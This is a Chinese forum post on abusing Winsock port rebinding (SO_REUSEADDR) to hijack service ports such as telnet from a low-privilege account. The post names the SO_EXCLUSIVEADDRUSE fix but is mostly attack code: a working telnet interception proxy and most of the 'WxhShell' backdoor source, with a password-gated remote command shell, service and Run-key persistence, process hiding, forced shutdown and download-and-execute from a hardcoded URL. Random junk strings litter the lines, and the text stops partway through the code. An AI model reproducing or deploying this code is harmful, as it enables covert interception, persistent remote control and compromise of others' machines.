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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ln2C#Uf  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); otf%kG w  
|8 2tw|<o  
  saddr.sin_family = AF_INET; z-G7Y#  
^FM9} t/U,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1{x~iZa  
C2rj]t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8UT%:DlxQ  
ef}E.Bl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iWM7, =1+  
$;uWj|  
  这意味着什么?意味着可以进行如下的攻击: @gSFvb bc  
l$VxE'&LQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0j!ke1C&C  
$Cd;0gdv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BX(d"z b<  
* \o$-6<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -*hb^MvP  
.(7C)P{ .0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h2"|tTm,a  
o1X/<.0+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `3y!XET  
MIlCUk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NQ!N"C3u  
nj^q@h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]Uu(OI<)  
+GYMJK`S+  
  #include +yb$[E*  
  #include M&djw`B  
  #include NnLhJPh  
  #include    U++~3e@l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >}DjHLTW\  
  int main() '!^E92  
  { @SC-vc  
  WORD wVersionRequested; mE^tzyh  
  DWORD ret; vbA7I<;  
  WSADATA wsaData; x1:Pj  
  BOOL val; u@bOEcxK  
  SOCKADDR_IN saddr; a|P~LMPM  
  SOCKADDR_IN scaddr; Qw<kX*fxrI  
  int err; 5&HT$"H :  
  SOCKET s; 5G'&9{oB  
  SOCKET sc; 7"n1it[RJ8  
  int caddsize; =WmBpUh  
  HANDLE mt; qXB03}] G  
  DWORD tid;   yxCM l.  
  wVersionRequested = MAKEWORD( 2, 2 ); 3j+=3n,  
  err = WSAStartup( wVersionRequested, &wsaData ); l|vWeBs  
  if ( err != 0 ) { 20/P M9  
  printf("error!WSAStartup failed!\n"); RUS7Z~5  
  return -1; TDl!qp @  
  } h nsa)@  
  saddr.sin_family = AF_INET; 1akD]Z  
   b#p~F}qT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s3Krob`C5  
?Rt 1CDu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MJ>Qq[0  
  saddr.sin_port = htons(23); EtR@sJ<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yZ;k@t_WRD  
  { _b!;(~ @p  
  printf("error!socket failed!\n"); { OxAY_  
  return -1; hsHVX[<5`  
  } iM?I /\  
  val = TRUE; piYws<Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZSF=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y( 1L>4  
  { c#{Ywh  
  printf("error!setsockopt failed!\n"); lPRdwg-  
  return -1; Sv7>IVC?@  
  } Q{qj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4-]Do?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t<!+b@l5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >9o,S3  
~T>jBYI0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {t844La"  
  { hl6,#2$  
  ret=GetLastError(); r^w\9a_  
  printf("error!bind failed!\n"); Z:_m}Ya|  
  return -1; jiA5oX^g  
  } 8 zQ_xE  
  listen(s,2); cg(QjH"  
  while(1) di3 B=A>3  
  { _HWHQF7  
  caddsize = sizeof(scaddr); 9N~8s6Ob  
  //接受连接请求 -+3be(u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a%7"_{s1  
  if(sc!=INVALID_SOCKET) ]z-']R;  
  { \LO_Nu9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _`bS[%CJ  
  if(mt==NULL) Y<p zy8z  
  { F5N>Uqr*oN  
  printf("Thread Creat Failed!\n"); `e'G.@  
  break; ~vW)1XnK  
  } nB cp7e  
  } ~In{lQ[QX  
  CloseHandle(mt); S2J#b"Y  
  } o &BPG@n  
  closesocket(s); CS~=Z>6EjA  
  WSACleanup(); ./"mn3U  
  return 0; P$p@5hl  
  }   <@u0.-]  
  DWORD WINAPI ClientThread(LPVOID lpParam) N<KKY"?I'  
  { //\ds71h  
  SOCKET ss = (SOCKET)lpParam; ? .c?Pu  
  SOCKET sc; `fQM  
  unsigned char buf[4096]; H|PrsGW  
  SOCKADDR_IN saddr; 'R^iKNPs  
  long num; ^G}# jg.  
  DWORD val; G_V.H \w  
  DWORD ret; 6RK ~Dl&g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tO?21?AD D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i Td-n9  
  saddr.sin_family = AF_INET; g~~m' ^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wn &$C0  
  saddr.sin_port = htons(23); o;ik Z*+*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q{a#HnZo"  
  { \Os:6U=X-  
  printf("error!socket failed!\n"); 0-*Z<cu%l  
  return -1; |n+ #1_t%  
  } j.k@6[ R>?  
  val = 100; V-[2jC{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^4+r*YvcM  
  { J1.qhy>  
  ret = GetLastError(); ?ouV  
  return -1; &(g m4bTg  
  } Hab!qWK`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q 2*/`L}m\  
  { N g58/}zO  
  ret = GetLastError(); E::L?#V  
  return -1; Oc7 >S.1  
  } 3"5.eZSOW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ows^W8-w  
  { '4$lL 6ly>  
  printf("error!socket connect failed!\n"); SEYGy+#K  
  closesocket(sc); ft{W/ * +_  
  closesocket(ss); j2M4H@  
  return -1; ir]Mn.(Y  
  } !]yQ1@)*'  
  while(1) TW>?h=.z  
  { /E)9v$!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /4yOs@#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f7Yz>To  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zEy&4Kl{+  
  num = recv(ss,buf,4096,0); ]K7`-p~T  
  if(num>0) ,NDh@VYe  
  send(sc,buf,num,0); ])C>\@c6Gm  
  else if(num==0) .%_)*NUZ  
  break; m)r]F#@/  
  num = recv(sc,buf,4096,0); 5Yl6?  
  if(num>0) Z #EvRC  
  send(ss,buf,num,0); k,T_e6(  
  else if(num==0) kg:l:C)Tq  
  break; NW)M?f+6  
  } ?gLAWz  
  closesocket(ss); (s0 88O  
  closesocket(sc); vEF=e  
  return 0 ; G[#.mD{k  
  } !#.\QU|  
3)y{n%3L  
z4g+2f7h-X  
========================================================== 3g;T?E  
d]MGN^%o  
下边附上一个代码,,WXhSHELL lDC}HC  
82|q7*M*.  
========================================================== )6G" *  
t~ -J %$  
#include "stdafx.h" !Vb,zQ  
r ^MiRa  
#include <stdio.h> PT+c&5AS  
#include <string.h> IQIbz{bMx  
#include <windows.h> dN<5JQql  
#include <winsock2.h> +lKrj\Xj  
#include <winsvc.h> m`c#:s'_  
#include <urlmon.h> WKxm9y V  
/tP7uVL R  
#pragma comment (lib, "Ws2_32.lib") U%q:^S%#eG  
#pragma comment (lib, "urlmon.lib") LP,9<&"<  
)=Zsv40O  
#define MAX_USER   100 // 最大客户端连接数 & N;pH  
#define BUF_SOCK   200 // sock buffer AeaPK  
#define KEY_BUFF   255 // 输入 buffer d5:tSO  
EMh r6</  
#define REBOOT     0   // 重启 -1CEr_(P^  
#define SHUTDOWN   1   // 关机 Y#`Lcg+r,  
9\>sDSCx  
#define DEF_PORT   5000 // 监听端口 Jh?z=JY  
QF.3c6O@  
#define REG_LEN     16   // 注册表键长度 kxh 5}eB  
#define SVC_LEN     80   // NT服务名长度 "7d.i(vw  
O~6Q;qP  
// 从dll定义API ,%Z&*n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); odpUM@OAW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \6:>{0\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F@1d%c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [fxuUmU  
ESIzGaM  
// wxhshell配置信息 jN6b*-2  
struct WSCFG { qOi5WX6F/  
  int ws_port;         // 监听端口 waCboK'  
  char ws_passstr[REG_LEN]; // 口令 q & b5g !  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7@IFp~6<qK  
  char ws_regname[REG_LEN]; // 注册表键名 um[!|g/  
  char ws_svcname[REG_LEN]; // 服务名 H_Os4}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &bLC(e ]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 87<9V.s 2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~:EW>Fq%i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no { 5-zyE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1ef'7a7e8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bDWeU}  
 U(~U!O}  
}; Y208b?=9w  
.=XD)>$  
// default Wxhshell configuration SX+4 HJB  
struct WSCFG wscfg={DEF_PORT, Gs_qO)~xo  
    "xuhuanlingzhe", ;v_V+t <$  
    1, ~{M@?8wi  
    "Wxhshell", 4P%m>[   
    "Wxhshell", E:w:4[neh  
            "WxhShell Service", N _G4_12(  
    "Wrsky Windows CmdShell Service", QrC/ssf}  
    "Please Input Your Password: ", $KX[Zu%  
  1, ]'k[u  
  "http://www.wrsky.com/wxhshell.exe", C(o.Cy6  
  "Wxhshell.exe" !5UfWk\G  
    }; P'tMu6+)  
Obo_YE  
// 消息定义模块 <uD qYT$6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LeHiT>aX!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HH8;J66I&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +9[SVw8  
char *msg_ws_ext="\n\rExit."; NR4Jn?l{  
char *msg_ws_end="\n\rQuit."; v"RiPHLT  
char *msg_ws_boot="\n\rReboot..."; nU/;2=f<  
char *msg_ws_poff="\n\rShutdown..."; 62kb2C  
char *msg_ws_down="\n\rSave to "; VE]6wwV2  
.GCR!V  
char *msg_ws_err="\n\rErr!"; P+Z\3re  
char *msg_ws_ok="\n\rOK!"; ,J(lJ,c  
*vnXlV4L  
char ExeFile[MAX_PATH]; Z^# ]#f  
int nUser = 0; <MdGe1n  
HANDLE handles[MAX_USER]; XdsJwn F  
int OsIsNt; Au5rR>W  
b/<mRQ{  
SERVICE_STATUS       serviceStatus; QU/3X 1W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  AmcC:5  
i8~$o:&HT  
// 函数声明 i2PZ'.sL  
int Install(void); 8Kk\*8 <  
int Uninstall(void); %l7fR}  
int DownloadFile(char *sURL, SOCKET wsh); |pW\Ec#(  
int Boot(int flag); ;S JF%@x  
void HideProc(void); ~Ltr.ci  
int GetOsVer(void); 8!zb F<W9  
int Wxhshell(SOCKET wsl); IgM v =^U  
void TalkWithClient(void *cs); qC@Ar)T  
int CmdShell(SOCKET sock); 7pet Hi  
int StartFromService(void); D.*>;5:0'  
int StartWxhshell(LPSTR lpCmdLine); n"G`b  
v <Hb-~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !M;A*:-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /IR#A%U  
eH <Jng  
// 数据结构和表定义 ai;\@$ cq  
SERVICE_TABLE_ENTRY DispatchTable[] = `,Orf ZMb  
{ BU6Jyuwn  
{wscfg.ws_svcname, NTServiceMain}, y3IWfiz>/d  
{NULL, NULL} 6y  Wc1  
}; @6&JR<g*t  
3t(c_:[%  
// 自我安装 M{G xjmdx  
int Install(void) K]fpGo  
{ 2P9J' L  
  char svExeFile[MAX_PATH]; kX2d7yQZz  
  HKEY key; 9.&mz}q  
  strcpy(svExeFile,ExeFile); >I<PO.c!  
k+1gQru{d  
// 如果是win9x系统,修改注册表设为自启动 B?6QMC;  
if(!OsIsNt) { -BhTkoN)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Eg8i _s~:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YG[w@u  
  RegCloseKey(key); @Zm J z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *YvRNHP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yn~P{}68  
  RegCloseKey(key); IR$ (_9z  
  return 0; 9%!dNnUk  
    } #I%s 3  
  } _x %1F  
} FtIa*j^G  
else {  >eS$  
DDw''  
// 如果是NT以上系统,安装为系统服务 Ty+I8e]{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i@zY9,b  
if (schSCManager!=0) $j*Qo/x d  
{ sN/+   
  SC_HANDLE schService = CreateService 3M<!?%v\A  
  ( /fwgqFVk  
  schSCManager, .zC*Z&e,.[  
  wscfg.ws_svcname, SSmHEy*r)  
  wscfg.ws_svcdisp, S>f&6ZDNY(  
  SERVICE_ALL_ACCESS, PW)aLycPK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `\b+[Nes  
  SERVICE_AUTO_START, 36$[   
  SERVICE_ERROR_NORMAL, *%A}x   
  svExeFile, g7V_ [R(6  
  NULL, 1;wb(DN*c  
  NULL, Ceg!w#8Z,  
  NULL, jv&+<j`r  
  NULL, vVVPw?Ww-  
  NULL P(ZQDTbM :  
  ); v?j!&d>  
  if (schService!=0) ^^}Hs-{T  
  { c K<)$*  
  CloseServiceHandle(schService); '3;v] L?G  
  CloseServiceHandle(schSCManager); Jqfm@Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3-x%wD.  
  strcat(svExeFile,wscfg.ws_svcname); rVzI_zYqp'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'uC59X4l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )bD nbO$s_  
  RegCloseKey(key); PRr*]$\&Mj  
  return 0; K=\&+at1  
    } !7 _\P7M  
  } U[||~FW'  
  CloseServiceHandle(schSCManager); p^X^1X7  
} ]WL|~mG  
} 5H !y46z  
tXq)nfGe{  
return 1; qrBZvJU  
} X")|Uw8Kl/  
f)6))  
// 自我卸载 )[&zCq Dc  
int Uninstall(void) bFGDgwe z  
{ GYK\LHCPd  
  HKEY key; "H+,E_&(  
[Z<Z;=t  
if(!OsIsNt) { O<N#M{kc.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S; /. %  
  RegDeleteValue(key,wscfg.ws_regname); -%m3-xZA  
  RegCloseKey(key); r"]'`qP,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eegx'VSX4  
  RegDeleteValue(key,wscfg.ws_regname); EHI'xt  
  RegCloseKey(key); "wM1qX  
  return 0; n=!uNu7  
  } BIMKsF Zt  
} I%;Jpe  
} OW5t[~y]  
else { s3 B'>RG}  
xJhU<q~?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $3;Upgv  
if (schSCManager!=0) gH7z  
{ 4Z5#F]OA7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \b8\Ug~t  
  if (schService!=0) @;)PSp*j  
  { z2 hFn&  
  if(DeleteService(schService)!=0) { `_qK&&s  
  CloseServiceHandle(schService); ai-n z-;  
  CloseServiceHandle(schSCManager); -5Utl os  
  return 0; j1U 5~%^  
  } T>d.#  
  CloseServiceHandle(schService); J;QUPpH Z  
  } Q{y{rC2P  
  CloseServiceHandle(schSCManager); 1ThqqB  
} X6@wkrf-  
} pv# 2]v  
74J@F2g}?  
return 1; :tj-gDa\Y  
} V3sL;  
63&^BW  
// 从指定url下载文件 X0$@Ik  
int DownloadFile(char *sURL, SOCKET wsh) :qj<p3w~}  
{ j^SZnMQf  
  HRESULT hr; K4 %/!`  
char seps[]= "/"; (03pJV&K  
char *token; @WOM#Kc  
char *file; )K]pnH|  
char myURL[MAX_PATH]; qx)?buAij  
char myFILE[MAX_PATH]; 9 [Y-M  
" ;NRzY  
strcpy(myURL,sURL); s] au/T6b  
  token=strtok(myURL,seps); h*l&RR:i  
  while(token!=NULL) Sycw %k  
  { }nrXxfu  
    file=token; FN87^.^2S  
  token=strtok(NULL,seps); d8x%SQ!V  
  } E4oz|2!m  
Ciihsm  
GetCurrentDirectory(MAX_PATH,myFILE); x]4Kkpqm  
strcat(myFILE, "\\"); ?J!3j{4e  
strcat(myFILE, file); 0kDBE3i#  
  send(wsh,myFILE,strlen(myFILE),0); %J7UP4  
send(wsh,"...",3,0); jAhP> t:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oy\B;aAK  
  if(hr==S_OK) 1{PG>W  
return 0; lj[, |[X7`  
else D$r Uid  
return 1; Gt-UJ-RR y  
-j`LhS~|  
} P~ 0Jg# V  
p]gT&[iJ  
// 系统电源模块 6 "gj!/e  
int Boot(int flag) +RDJY(Y$  
{ "8<K'zeS8  
  HANDLE hToken; `DW2spd  
  TOKEN_PRIVILEGES tkp; "lVqU  
*dsX#Iz  
  if(OsIsNt) { /n{1o\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AHbZQulC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E3l*8F%<3  
    tkp.PrivilegeCount = 1; m,MSMw1p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5J.0&Dda  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4_=Ja2v8;`  
if(flag==REBOOT) { AR&:Q4r|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |%7cdMC  
  return 0; X_TiqV  
} tY/vL^mi  
else { 6d|q+]x_n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [0@`wZ  
  return 0; S\x=&Rz  
} :1wrVU-?h  
  } R= 5 **  
  else { ^ 4>k%d  
if(flag==REBOOT) { u'5`[U -!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X@wm1{!  
  return 0; O<*5$,K9  
} b$JBL_U5Ch  
else { 2KJ1V+g@a6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }SfbCa)UO  
  return 0; `C72sA{M.  
} x?,9_va]  
} VD7i52xS  
1 Y/$,Oa5  
return 1; p .K*UP  
} c4mh EE-  
"MOpsb,  
// win9x进程隐藏模块 "M H6fF  
void HideProc(void) XEH}4;C'{  
{ OM83S|1s  
J./d!an  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MDa7 B +4  
  if ( hKernel != NULL ) [3>GGX[Ic  
  { nD6G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]`o!1(GA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4`v!Z#e/aX  
    FreeLibrary(hKernel); Kx`/\u=/  
  } hsNWqk qys  
'S4)?Z  
return; ^rAa"p9  
} 7'p8 a<x  
WCq /c6 D  
// 获取操作系统版本 \_]En43mg  
int GetOsVer(void) $W8Cf[a  
{ mLbN/M  
  OSVERSIONINFO winfo; |`rJJFA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7L(e h7  
  GetVersionEx(&winfo); |i %2%V#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z=z%$l  
  return 1; S -&)p@4  
  else 9.OA, 6  
  return 0; Y}G_Z#-!  
} B|Wk?w.{r\  
epD?K  
// 客户端句柄模块 #=c`of6  
int Wxhshell(SOCKET wsl) n.6T OF  
{ rxZi8w>}  
  SOCKET wsh; Q(7ob}+jQ  
  struct sockaddr_in client; [:;# ]?  
  DWORD myID; mqtg[~dNc  
 Gs0H@  
  while(nUser<MAX_USER) _'0 @%P%  
{ v({N:ya  
  int nSize=sizeof(client); KM,|} .@:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v1G"3fy9  
  if(wsh==INVALID_SOCKET) return 1; eCbf9B  
Z9`TwS@x[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )q~DTR^z-  
if(handles[nUser]==0) k%'m*Tf  
  closesocket(wsh); \FmKJ\  
else %CnxjtTo  
  nUser++; -%c<IX>z9  
  } s<QkDERMX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J1ON,&[J  
Fzq41jiS  
  return 0; qi[Z,&  
} P 1>AOH2yG  
AC%JC+  
// 关闭 socket |+,[``d>"  
void CloseIt(SOCKET wsh) vG.9 H_&  
{ PA;6$vqX  
closesocket(wsh); ;^){|9@  
nUser--; )Di \_/G  
ExitThread(0); |Bo .4lX  
} IND]j72  
)U t5+-UK  
// 客户端请求句柄 n]Li->1  
void TalkWithClient(void *cs) ;T+pu>)  
{ %D}H|*IPu  
N!&:rK  
  SOCKET wsh=(SOCKET)cs; M" lg%j  
  char pwd[SVC_LEN]; Z=S>0|`R  
  char cmd[KEY_BUFF]; zDOKShG  
char chr[1]; F _3:bX  
int i,j; {MdLX.ycc)  
hcCp,b  
  while (nUser < MAX_USER) { RD,5AShP  
!c#]?b%  
if(wscfg.ws_passstr) { +_l^ #?o,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &} 6KPA;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R,2P3lv1v@  
  //ZeroMemory(pwd,KEY_BUFF); bO5k6i  
      i=0; ZAKeEm2A  
  while(i<SVC_LEN) { "`Ge~N[$A  
G[Lpe  
  // 设置超时 Y]|:?G7l]  
  fd_set FdRead; vV?rpe|%  
  struct timeval TimeOut; O\KQl0*l\\  
  FD_ZERO(&FdRead); Lv[OUW#S  
  FD_SET(wsh,&FdRead); +UN<Zp7I/  
  TimeOut.tv_sec=8; SGc8^%-`  
  TimeOut.tv_usec=0; } R4c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z"-L[2E/{!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~p0c3*  
o]n!(f<(*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z)9g~g94  
  pwd=chr[0]; _6@hTen`  
  if(chr[0]==0xd || chr[0]==0xa) { ^D^JzEy'?C  
  pwd=0; P(k(m< 0  
  break; VZn=rw  
  } UO Ug4  
  i++; [4&#*@  
    } "Ml&[O ge  
`Mj}md;O"  
  // 如果是非法用户,关闭 socket e-hjC6Q U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?L) !pP]  
} "t=hzn"~%  
penlG36Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [%A4]QzWh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s) O[t  
3uu~p!2  
while(1) { h0vob_Fdl  
zLw{ {|  
  ZeroMemory(cmd,KEY_BUFF); b,TiMf9},h  
V&]DzjT/  
      // 自动支持客户端 telnet标准   #L}+H!Myh  
  j=0; va|*c22;|  
  while(j<KEY_BUFF) { f$HH:^#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C Wo1.pVw  
  cmd[j]=chr[0]; p{dwZ_gl  
  if(chr[0]==0xa || chr[0]==0xd) { 0H_!Kg  
  cmd[j]=0; LK9g0_  
  break; kUx&pYv  
  } m(iR|Zx  
  j++; 4M&`$Wim  
    } S{Hx]\  
aA`/E  
  // 下载文件 <Peebv&v  
  if(strstr(cmd,"http://")) { s pLZ2]A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,tH5e&=U01  
  if(DownloadFile(cmd,wsh)) DHC+C4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d@0Kr5_  
  else d'6|:z9c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (m[bWdANnW  
  } 5qUTMT['T  
  else { ^vs=f 95  
-m= 8&B  
    switch(cmd[0]) { x]mxD|?f  
  5v)(8|.M  
  // 帮助 ^\:8w0Y^  
  case '?': { 4F3x@H'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c)md  
    break; SHb(O<6  
  } U_l'3oPJw  
  // 安装 y7i%W4  
  case 'i': { 5F|8?BkOL^  
    if(Install()) S\6[EQ65  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i|)Su4Dw  
    else mnk"Vr` L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +y2[msBs  
    break; gnp~OVDqfL  
    } \,Lo>G`!  
  // 卸载 g42)7  
  case 'r': { %Pqk63QF  
    if(Uninstall()) M~*u;vA/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OU4pjiLx  
    else HpEQEIvt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %ows BO+  
    break; FOwDp0  
    } w=h1pwY  
  // 显示 wxhshell 所在路径 E@05e  
  case 'p': { R2L;bGI*J  
    char svExeFile[MAX_PATH]; 4Tc&IwR  
    strcpy(svExeFile,"\n\r"); p,pR!qC>  
      strcat(svExeFile,ExeFile); ik|-L8  
        send(wsh,svExeFile,strlen(svExeFile),0); '1fNBH2  
    break; [OTJVpC  
    } /N>e&e[35\  
  // 重启 0n~Zz  
  case 'b': { . #Z+Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?;YC'bF  
    if(Boot(REBOOT)) LWsP ya  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :f5s4N  
    else { j6~nE'sQ  
    closesocket(wsh); F["wD O  
    ExitThread(0); ^ 5VK>  
    } GSoZx0  
    break; }ZSQ>8a  
    } @=]~\[e\  
  // 关机 wfL-oi'5  
  case 'd': { ;VO.!5W@eg  
